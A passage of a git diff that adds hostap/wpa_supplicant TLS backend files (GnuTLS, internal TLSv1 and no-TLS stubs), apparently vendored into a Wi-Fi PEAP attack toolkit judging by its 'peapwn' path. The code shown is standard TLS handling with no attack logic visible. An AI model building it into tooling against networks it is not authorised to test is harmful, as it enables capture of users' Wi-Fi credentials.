tls_global_set_verify(void *ssl_ctx, int check_crl) +{ + /* TODO */ + return 0; +} + + +int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, + int verify_peer) +{ + if (conn == NULL || conn->session == NULL) + return -1; + + conn->verify_peer = verify_peer; + gnutls_certificate_server_set_request(conn->session, + verify_peer ? GNUTLS_CERT_REQUIRE + : GNUTLS_CERT_REQUEST); + + return 0; +} + + +int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, + struct tls_keys *keys) +{ +#ifdef GNUTLS_INTERNAL_STRUCTURE_HACK + security_parameters_st *sec; +#endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ + + if (conn == NULL || conn->session == NULL || keys == NULL) + return -1; + + os_memset(keys, 0, sizeof(*keys)); + +#if LIBGNUTLS_VERSION_NUMBER < 0x020c00 +#ifdef GNUTLS_INTERNAL_STRUCTURE_HACK + sec = &conn->session->security_parameters; + keys->master_key = sec->master_secret; + keys->master_key_len = WPA_TLS_MASTER_SIZE; + keys->client_random = sec->client_random; + keys->server_random = sec->server_random; +#else /* GNUTLS_INTERNAL_STRUCTURE_HACK */ + keys->client_random = + (u8 *) gnutls_session_get_client_random(conn->session); + keys->server_random = + (u8 *) gnutls_session_get_server_random(conn->session); + /* No access to master_secret */ +#endif /* GNUTLS_INTERNAL_STRUCTURE_HACK */ +#endif /* LIBGNUTLS_VERSION_NUMBER < 0x020c00 */ + +#if LIBGNUTLS_VERSION_NUMBER < 0x020c00 + keys->client_random_len = WPA_TLS_RANDOM_SIZE; + keys->server_random_len = WPA_TLS_RANDOM_SIZE; +#endif /* LIBGNUTLS_VERSION_NUMBER < 0x020c00 */ + + return 0; +} + + +int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, + const char *label, int server_random_first, + u8 *out, size_t out_len) +{ +#if LIBGNUTLS_VERSION_NUMBER >= 0x010302 + if (conn == NULL || conn->session == NULL) + return -1; + + return gnutls_prf(conn->session, os_strlen(label), label, + server_random_first, 0, NULL, out_len, (char *) out); +#else /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ + return -1; +#endif /* LIBGNUTLS_VERSION_NUMBER >= 0x010302 */ +} + + +static int tls_connection_verify_peer(struct tls_connection *conn, + gnutls_alert_description_t *err) +{ + unsigned int status, num_certs, i; + struct os_time now; + const gnutls_datum_t *certs; + gnutls_x509_crt_t cert; + + if (gnutls_certificate_verify_peers2(conn->session, &status) < 0) { + wpa_printf(MSG_INFO, "TLS: Failed to verify peer " + "certificate chain"); + *err = GNUTLS_A_INTERNAL_ERROR; + return -1; + } + + if (conn->verify_peer && (status & GNUTLS_CERT_INVALID)) { + wpa_printf(MSG_INFO, "TLS: Peer certificate not trusted"); + *err = GNUTLS_A_INTERNAL_ERROR; + if (status & GNUTLS_CERT_INSECURE_ALGORITHM) { + wpa_printf(MSG_INFO, "TLS: Certificate uses insecure " + "algorithm"); + *err = GNUTLS_A_INSUFFICIENT_SECURITY; + } +#if LIBGNUTLS_VERSION_NUMBER >= 0x020800 + if (status & GNUTLS_CERT_NOT_ACTIVATED) { + wpa_printf(MSG_INFO, "TLS: Certificate not yet " + "activated"); + *err = GNUTLS_A_CERTIFICATE_EXPIRED; + } + if (status & GNUTLS_CERT_EXPIRED) { + wpa_printf(MSG_INFO, "TLS: Certificate expired"); + *err = GNUTLS_A_CERTIFICATE_EXPIRED; + } +#endif /* LIBGNUTLS_VERSION_NUMBER >= 0x020800 */ + return -1; + } + + if (status & GNUTLS_CERT_SIGNER_NOT_FOUND) { + wpa_printf(MSG_INFO, "TLS: Peer certificate does not have a " + "known issuer"); + *err = GNUTLS_A_UNKNOWN_CA; + return -1; + } + + if (status & GNUTLS_CERT_REVOKED) { + wpa_printf(MSG_INFO, "TLS: Peer certificate has been revoked"); + *err = GNUTLS_A_CERTIFICATE_REVOKED; + return -1; + } + + os_get_time(&now); + + certs = gnutls_certificate_get_peers(conn->session, &num_certs); + if (certs == NULL) { + wpa_printf(MSG_INFO, "TLS: No peer certificate chain " + "received"); + *err = GNUTLS_A_UNKNOWN_CA; + return -1; + } + + for (i = 0; i < num_certs; i++) { + char *buf; + size_t len; + if (gnutls_x509_crt_init(&cert) < 0) { + wpa_printf(MSG_INFO, "TLS: Certificate initialization " + "failed"); + *err = GNUTLS_A_BAD_CERTIFICATE; + return -1; + } + + if (gnutls_x509_crt_import(cert, &certs[i], + GNUTLS_X509_FMT_DER) < 0) { + wpa_printf(MSG_INFO, "TLS: Could not parse peer " + "certificate %d/%d", i + 1, num_certs); + gnutls_x509_crt_deinit(cert); + *err = GNUTLS_A_BAD_CERTIFICATE; + return -1; + } + + gnutls_x509_crt_get_dn(cert, NULL, &len); + len++; + buf = os_malloc(len + 1); + if (buf) { + buf[0] = buf[len] = '\0'; + gnutls_x509_crt_get_dn(cert, buf, &len); + } + wpa_printf(MSG_DEBUG, "TLS: Peer cert chain %d/%d: %s", + i + 1, num_certs, buf); + + if (i == 0) { + /* TODO: validate subject_match and altsubject_match */ + } + + os_free(buf); + + if (gnutls_x509_crt_get_expiration_time(cert) < now.sec || + gnutls_x509_crt_get_activation_time(cert) > now.sec) { + wpa_printf(MSG_INFO, "TLS: Peer certificate %d/%d is " + "not valid at this time", + i + 1, num_certs); + gnutls_x509_crt_deinit(cert); + *err = GNUTLS_A_CERTIFICATE_EXPIRED; + return -1; + } + + gnutls_x509_crt_deinit(cert); + } + + return 0; +} + + +static struct wpabuf * gnutls_get_appl_data(struct tls_connection *conn) +{ + int res; + struct wpabuf *ad; + wpa_printf(MSG_DEBUG, "GnuTLS: Check for possible Application Data"); + ad = wpabuf_alloc((wpabuf_len(conn->pull_buf) + 500) * 3); + if (ad == NULL) + return NULL; + + res = gnutls_record_recv(conn->session, wpabuf_mhead(ad), + wpabuf_size(ad)); + wpa_printf(MSG_DEBUG, "GnuTLS: gnutls_record_recv: %d", res); + if (res < 0) { + wpa_printf(MSG_DEBUG, "%s - gnutls_record_recv failed: %d " + "(%s)", __func__, (int) res, + gnutls_strerror(res)); + wpabuf_free(ad); + return NULL; + } + + wpabuf_put(ad, res); + wpa_printf(MSG_DEBUG, "GnuTLS: Received %d bytes of Application Data", + res); + return ad; +} + + +struct wpabuf * tls_connection_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ + struct tls_global *global = tls_ctx; + struct wpabuf *out_data; + int ret; + + if (appl_data) + *appl_data = NULL; + + if (in_data && wpabuf_len(in_data) > 0) { + if (conn->pull_buf) { + wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " + "pull_buf", __func__, + (unsigned long) wpabuf_len(conn->pull_buf)); + wpabuf_free(conn->pull_buf); + } + conn->pull_buf = wpabuf_dup(in_data); + if (conn->pull_buf == NULL) + return NULL; + conn->pull_buf_offset = wpabuf_head(conn->pull_buf); + } + + ret = gnutls_handshake(conn->session); + if (ret < 0) { + switch (ret) { + case GNUTLS_E_AGAIN: + if (global->server && conn->established && + conn->push_buf == NULL) { + /* Need to return something to trigger + * completion of EAP-TLS. */ + conn->push_buf = wpabuf_alloc(0); + } + break; + case GNUTLS_E_FATAL_ALERT_RECEIVED: + wpa_printf(MSG_DEBUG, "%s - received fatal '%s' alert", + __func__, gnutls_alert_get_name( + gnutls_alert_get(conn->session))); + conn->read_alerts++; + /* continue */ + default: + wpa_printf(MSG_DEBUG, "%s - gnutls_handshake failed " + "-> %s", __func__, gnutls_strerror(ret)); + conn->failed++; + } + } else { + size_t size; + gnutls_alert_description_t err; + + if (conn->verify_peer && + tls_connection_verify_peer(conn, &err)) { + wpa_printf(MSG_INFO, "TLS: Peer certificate chain " + "failed validation"); + conn->failed++; + gnutls_alert_send(conn->session, GNUTLS_AL_FATAL, err); + goto out; + } + + wpa_printf(MSG_DEBUG, "TLS: Handshake completed successfully"); + conn->established = 1; + if (conn->push_buf == NULL) { + /* Need to return something to get final TLS ACK. */ + conn->push_buf = wpabuf_alloc(0); + } + + gnutls_session_get_data(conn->session, NULL, &size); + if (global->session_data == NULL || + global->session_data_size < size) { + os_free(global->session_data); + global->session_data = os_malloc(size); + } + if (global->session_data) { + global->session_data_size = size; + gnutls_session_get_data(conn->session, + global->session_data, + &global->session_data_size); + } + + if (conn->pull_buf && appl_data) + *appl_data = gnutls_get_appl_data(conn); + } + +out: + out_data = conn->push_buf; + conn->push_buf = NULL; + return out_data; +} + + +struct wpabuf * tls_connection_server_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ + return tls_connection_handshake(tls_ctx, conn, in_data, appl_data); +} + + +struct wpabuf * tls_connection_encrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ + ssize_t res; + struct wpabuf *buf; + + res = gnutls_record_send(conn->session, wpabuf_head(in_data), + wpabuf_len(in_data)); + if (res < 0) { + wpa_printf(MSG_INFO, "%s: Encryption failed: %s", + __func__, gnutls_strerror(res)); + return NULL; + } + + buf = conn->push_buf; + conn->push_buf = NULL; + return buf; +} + + +struct wpabuf * tls_connection_decrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ + ssize_t res; + struct wpabuf *out; + + if (conn->pull_buf) { + wpa_printf(MSG_DEBUG, "%s - %lu bytes remaining in " + "pull_buf", __func__, + (unsigned long) wpabuf_len(conn->pull_buf)); + wpabuf_free(conn->pull_buf); + } + conn->pull_buf = wpabuf_dup(in_data); + if (conn->pull_buf == NULL) + return NULL; + conn->pull_buf_offset = wpabuf_head(conn->pull_buf); + + /* + * Even though we try to disable TLS compression, it is possible that + * this cannot be done with all TLS libraries. Add extra buffer space + * to handle the possibility of the decrypted data being longer than + * input data. + */ + out = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); + if (out == NULL) + return NULL; + + res = gnutls_record_recv(conn->session, wpabuf_mhead(out), + wpabuf_size(out)); + if (res < 0) { + wpa_printf(MSG_DEBUG, "%s - gnutls_record_recv failed: %d " + "(%s)", __func__, (int) res, gnutls_strerror(res)); + wpabuf_free(out); + return NULL; + } + wpabuf_put(out, res); + + return out; +} + + +int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return 0; + return gnutls_session_is_resumed(conn->session); +} + + +int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, + u8 *ciphers) +{ + /* TODO */ + return -1; +} + + +int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, + char *buf, size_t buflen) +{ + /* TODO */ + buf[0] = '\0'; + return 0; +} + + +int tls_connection_enable_workaround(void *ssl_ctx, + struct tls_connection *conn) +{ + gnutls_record_disable_padding(conn->session); + return 0; +} + + +int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, + int ext_type, const u8 *data, + size_t data_len) +{ + /* TODO */ + return -1; +} + + +int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return -1; + return conn->failed; +} + + +int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return -1; + return conn->read_alerts; +} + + +int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return -1; + return conn->write_alerts; +} + + +int tls_connection_get_keyblock_size(void *tls_ctx, + struct tls_connection *conn) +{ + /* TODO */ + return -1; +} + + +unsigned int tls_capabilities(void *tls_ctx) +{ + return 0; +} + + +int tls_connection_set_session_ticket_cb(void *tls_ctx, + struct tls_connection *conn, + tls_session_ticket_cb cb, void *ctx) +{ + return -1; +} diff --git a/peapwn/mods/hostap/src/crypto/tls_internal.c b/peapwn/mods/hostap/src/crypto/tls_internal.c new file mode 100644 index 000000000..91f069003 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/tls_internal.c @@ -0,0 +1,630 @@ +/* + * TLS interface functions and an internal TLS implementation + * Copyright (c) 2004-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file interface functions for hostapd/wpa_supplicant to use the + * integrated TLSv1 implementation. + */ + +#include "includes.h" + +#include "common.h" +#include "tls.h" +#include "tls/tlsv1_client.h" +#include "tls/tlsv1_server.h" + + +static int tls_ref_count = 0; + +struct tls_global { + int server; + struct tlsv1_credentials *server_cred; + int check_crl; +}; + +struct tls_connection { + struct tlsv1_client *client; + struct tlsv1_server *server; +}; + + +void * tls_init(const struct tls_config *conf) +{ + struct tls_global *global; + + if (tls_ref_count == 0) { +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (tlsv1_client_global_init()) + return NULL; +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (tlsv1_server_global_init()) + return NULL; +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + } + tls_ref_count++; + + global = os_zalloc(sizeof(*global)); + if (global == NULL) + return NULL; + + return global; +} + +void tls_deinit(void *ssl_ctx) +{ + struct tls_global *global = ssl_ctx; + tls_ref_count--; + if (tls_ref_count == 0) { +#ifdef CONFIG_TLS_INTERNAL_CLIENT + tlsv1_client_global_deinit(); +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + tlsv1_cred_free(global->server_cred); + tlsv1_server_global_deinit(); +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + } + os_free(global); +} + + +int tls_get_errors(void *tls_ctx) +{ + return 0; +} + + +struct tls_connection * tls_connection_init(void *tls_ctx) +{ + struct tls_connection *conn; + struct tls_global *global = tls_ctx; + + conn = os_zalloc(sizeof(*conn)); + if (conn == NULL) + return NULL; + +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (!global->server) { + conn->client = tlsv1_client_init(); + if (conn->client == NULL) { + os_free(conn); + return NULL; + } + } +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (global->server) { + conn->server = tlsv1_server_init(global->server_cred); + if (conn->server == NULL) { + os_free(conn); + return NULL; + } + } +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + + return conn; +} + + +void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) +{ + if (conn == NULL) + return; +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) + tlsv1_client_deinit(conn->client); +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) + tlsv1_server_deinit(conn->server); +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + os_free(conn); +} + + +int tls_connection_established(void *tls_ctx, struct tls_connection *conn) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) + return tlsv1_client_established(conn->client); +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) + return tlsv1_server_established(conn->server); +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return 0; +} + + +int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) + return tlsv1_client_shutdown(conn->client); +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) + return tlsv1_server_shutdown(conn->server); +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return -1; +} + + +int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, + const struct tls_connection_params *params) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + struct tlsv1_credentials *cred; + + if (conn->client == NULL) + return -1; + + cred = tlsv1_cred_alloc(); + if (cred == NULL) + return -1; + + if (tlsv1_set_ca_cert(cred, params->ca_cert, + params->ca_cert_blob, params->ca_cert_blob_len, + params->ca_path)) { + wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA " + "certificates"); + tlsv1_cred_free(cred); + return -1; + } + + if (tlsv1_set_cert(cred, params->client_cert, + params->client_cert_blob, + params->client_cert_blob_len)) { + wpa_printf(MSG_INFO, "TLS: Failed to configure client " + "certificate"); + tlsv1_cred_free(cred); + return -1; + } + + if (tlsv1_set_private_key(cred, params->private_key, + params->private_key_passwd, + params->private_key_blob, + params->private_key_blob_len)) { + wpa_printf(MSG_INFO, "TLS: Failed to load private key"); + tlsv1_cred_free(cred); + return -1; + } + + if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob, + params->dh_blob_len)) { + wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters"); + tlsv1_cred_free(cred); + return -1; + } + + if (tlsv1_client_set_cred(conn->client, cred) < 0) { + tlsv1_cred_free(cred); + return -1; + } + + tlsv1_client_set_time_checks( + conn->client, !(params->flags & TLS_CONN_DISABLE_TIME_CHECKS)); + + return 0; +#else /* CONFIG_TLS_INTERNAL_CLIENT */ + return -1; +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +} + + +int tls_global_set_params(void *tls_ctx, + const struct tls_connection_params *params) +{ +#ifdef CONFIG_TLS_INTERNAL_SERVER + struct tls_global *global = tls_ctx; + struct tlsv1_credentials *cred; + + /* Currently, global parameters are only set when running in server + * mode. */ + global->server = 1; + tlsv1_cred_free(global->server_cred); + global->server_cred = cred = tlsv1_cred_alloc(); + if (cred == NULL) + return -1; + + if (tlsv1_set_ca_cert(cred, params->ca_cert, params->ca_cert_blob, + params->ca_cert_blob_len, params->ca_path)) { + wpa_printf(MSG_INFO, "TLS: Failed to configure trusted CA " + "certificates"); + return -1; + } + + if (tlsv1_set_cert(cred, params->client_cert, params->client_cert_blob, + params->client_cert_blob_len)) { + wpa_printf(MSG_INFO, "TLS: Failed to configure server " + "certificate"); + return -1; + } + + if (tlsv1_set_private_key(cred, params->private_key, + params->private_key_passwd, + params->private_key_blob, + params->private_key_blob_len)) { + wpa_printf(MSG_INFO, "TLS: Failed to load private key"); + return -1; + } + + if (tlsv1_set_dhparams(cred, params->dh_file, params->dh_blob, + params->dh_blob_len)) { + wpa_printf(MSG_INFO, "TLS: Failed to load DH parameters"); + return -1; + } + + return 0; +#else /* CONFIG_TLS_INTERNAL_SERVER */ + return -1; +#endif /* CONFIG_TLS_INTERNAL_SERVER */ +} + + +int tls_global_set_verify(void *tls_ctx, int check_crl) +{ + struct tls_global *global = tls_ctx; + global->check_crl = check_crl; + return 0; +} + + +int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, + int verify_peer) +{ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) + return tlsv1_server_set_verify(conn->server, verify_peer); +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return -1; +} + + +int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, + struct tls_keys *keys) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) + return tlsv1_client_get_keys(conn->client, keys); +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) + return tlsv1_server_get_keys(conn->server, keys); +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return -1; +} + + +int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, + const char *label, int server_random_first, + u8 *out, size_t out_len) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) { + return tlsv1_client_prf(conn->client, label, + server_random_first, + out, out_len); + } +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) { + return tlsv1_server_prf(conn->server, label, + server_random_first, + out, out_len); + } +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return -1; +} + + +struct wpabuf * tls_connection_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ + return tls_connection_handshake2(tls_ctx, conn, in_data, appl_data, + NULL); +} + + +struct wpabuf * tls_connection_handshake2(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data, + int *need_more_data) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + u8 *res, *ad; + size_t res_len, ad_len; + struct wpabuf *out; + + if (conn->client == NULL) + return NULL; + + ad = NULL; + res = tlsv1_client_handshake(conn->client, + in_data ? wpabuf_head(in_data) : NULL, + in_data ? wpabuf_len(in_data) : 0, + &res_len, &ad, &ad_len, need_more_data); + if (res == NULL) + return NULL; + out = wpabuf_alloc_ext_data(res, res_len); + if (out == NULL) { + os_free(res); + os_free(ad); + return NULL; + } + if (appl_data) { + if (ad) { + *appl_data = wpabuf_alloc_ext_data(ad, ad_len); + if (*appl_data == NULL) + os_free(ad); + } else + *appl_data = NULL; + } else + os_free(ad); + + return out; +#else /* CONFIG_TLS_INTERNAL_CLIENT */ + return NULL; +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +} + + +struct wpabuf * tls_connection_server_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ +#ifdef CONFIG_TLS_INTERNAL_SERVER + u8 *res; + size_t res_len; + struct wpabuf *out; + + if (conn->server == NULL) + return NULL; + + if (appl_data) + *appl_data = NULL; + + res = tlsv1_server_handshake(conn->server, wpabuf_head(in_data), + wpabuf_len(in_data), &res_len); + if (res == NULL && tlsv1_server_established(conn->server)) + return wpabuf_alloc(0); + if (res == NULL) + return NULL; + out = wpabuf_alloc_ext_data(res, res_len); + if (out == NULL) { + os_free(res); + return NULL; + } + + return out; +#else /* CONFIG_TLS_INTERNAL_SERVER */ + return NULL; +#endif /* CONFIG_TLS_INTERNAL_SERVER */ +} + + +struct wpabuf * tls_connection_encrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) { + struct wpabuf *buf; + int res; + buf = wpabuf_alloc(wpabuf_len(in_data) + 300); + if (buf == NULL) + return NULL; + res = tlsv1_client_encrypt(conn->client, wpabuf_head(in_data), + wpabuf_len(in_data), + wpabuf_mhead(buf), + wpabuf_size(buf)); + if (res < 0) { + wpabuf_free(buf); + return NULL; + } + wpabuf_put(buf, res); + return buf; + } +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) { + struct wpabuf *buf; + int res; + buf = wpabuf_alloc(wpabuf_len(in_data) + 300); + if (buf == NULL) + return NULL; + res = tlsv1_server_encrypt(conn->server, wpabuf_head(in_data), + wpabuf_len(in_data), + wpabuf_mhead(buf), + wpabuf_size(buf)); + if (res < 0) { + wpabuf_free(buf); + return NULL; + } + wpabuf_put(buf, res); + return buf; + } +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return NULL; +} + + +struct wpabuf * tls_connection_decrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ + return tls_connection_decrypt2(tls_ctx, conn, in_data, NULL); +} + + +struct wpabuf * tls_connection_decrypt2(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + int *need_more_data) +{ + if (need_more_data) + *need_more_data = 0; + +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) { + return tlsv1_client_decrypt(conn->client, wpabuf_head(in_data), + wpabuf_len(in_data), + need_more_data); + } +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) { + struct wpabuf *buf; + int res; + buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); + if (buf == NULL) + return NULL; + res = tlsv1_server_decrypt(conn->server, wpabuf_head(in_data), + wpabuf_len(in_data), + wpabuf_mhead(buf), + wpabuf_size(buf)); + if (res < 0) { + wpabuf_free(buf); + return NULL; + } + wpabuf_put(buf, res); + return buf; + } +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return NULL; +} + + +int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) + return tlsv1_client_resumed(conn->client); +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) + return tlsv1_server_resumed(conn->server); +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return -1; +} + + +int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, + u8 *ciphers) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) + return tlsv1_client_set_cipher_list(conn->client, ciphers); +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) + return tlsv1_server_set_cipher_list(conn->server, ciphers); +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return -1; +} + + +int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, + char *buf, size_t buflen) +{ + if (conn == NULL) + return -1; +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) + return tlsv1_client_get_cipher(conn->client, buf, buflen); +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) + return tlsv1_server_get_cipher(conn->server, buf, buflen); +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return -1; +} + + +int tls_connection_enable_workaround(void *tls_ctx, + struct tls_connection *conn) +{ + return -1; +} + + +int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, + int ext_type, const u8 *data, + size_t data_len) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) { + return tlsv1_client_hello_ext(conn->client, ext_type, + data, data_len); + } +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ + return -1; +} + + +int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_get_write_alerts(void *tls_ctx, + struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_get_keyblock_size(void *tls_ctx, + struct tls_connection *conn) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) + return tlsv1_client_get_keyblock_size(conn->client); +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) + return tlsv1_server_get_keyblock_size(conn->server); +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return -1; +} + + +unsigned int tls_capabilities(void *tls_ctx) +{ + return 0; +} + + +int tls_connection_set_session_ticket_cb(void *tls_ctx, + struct tls_connection *conn, + tls_session_ticket_cb cb, + void *ctx) +{ +#ifdef CONFIG_TLS_INTERNAL_CLIENT + if (conn->client) { + tlsv1_client_set_session_ticket_cb(conn->client, cb, ctx); + return 0; + } +#endif /* CONFIG_TLS_INTERNAL_CLIENT */ +#ifdef CONFIG_TLS_INTERNAL_SERVER + if (conn->server) { + tlsv1_server_set_session_ticket_cb(conn->server, cb, ctx); + return 0; + } +#endif /* CONFIG_TLS_INTERNAL_SERVER */ + return -1; +} diff --git a/peapwn/mods/hostap/src/crypto/tls_none.c b/peapwn/mods/hostap/src/crypto/tls_none.c new file mode 100644 index 000000000..1a1092a18 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/tls_none.c @@ -0,0 +1,194 @@ +/* + * SSL/TLS interface functions for no TLS case + * Copyright (c) 2004-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "tls.h" + +void * tls_init(const struct tls_config *conf) +{ + return (void *) 1; +} + + +void tls_deinit(void *ssl_ctx) +{ +} + + +int tls_get_errors(void *tls_ctx) +{ + return 0; +} + + +struct tls_connection * tls_connection_init(void *tls_ctx) +{ + return NULL; +} + + +void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) +{ +} + + +int tls_connection_established(void *tls_ctx, struct tls_connection *conn) +{ + return -1; +} + + +int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) +{ + return -1; +} + + +int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, + const struct tls_connection_params *params) +{ + return -1; +} + + +int tls_global_set_params(void *tls_ctx, + const struct tls_connection_params *params) +{ + return -1; +} + + +int tls_global_set_verify(void *tls_ctx, int check_crl) +{ + return -1; +} + + +int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, + int verify_peer) +{ + return -1; +} + + +int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, + struct tls_keys *keys) +{ + return -1; +} + + +int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, + const char *label, int server_random_first, + u8 *out, size_t out_len) +{ + return -1; +} + + +struct wpabuf * tls_connection_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ + return NULL; +} + + +struct wpabuf * tls_connection_server_handshake(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data, + struct wpabuf **appl_data) +{ + return NULL; +} + + +struct wpabuf * tls_connection_encrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ + return NULL; +} + + +struct wpabuf * tls_connection_decrypt(void *tls_ctx, + struct tls_connection *conn, + const struct wpabuf *in_data) +{ + return NULL; +} + + +int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) +{ + return 0; +} + + +int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, + u8 *ciphers) +{ + return -1; +} + + +int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, + char *buf, size_t buflen) +{ + return -1; +} + + +int tls_connection_enable_workaround(void *tls_ctx, + struct tls_connection *conn) +{ + return -1; 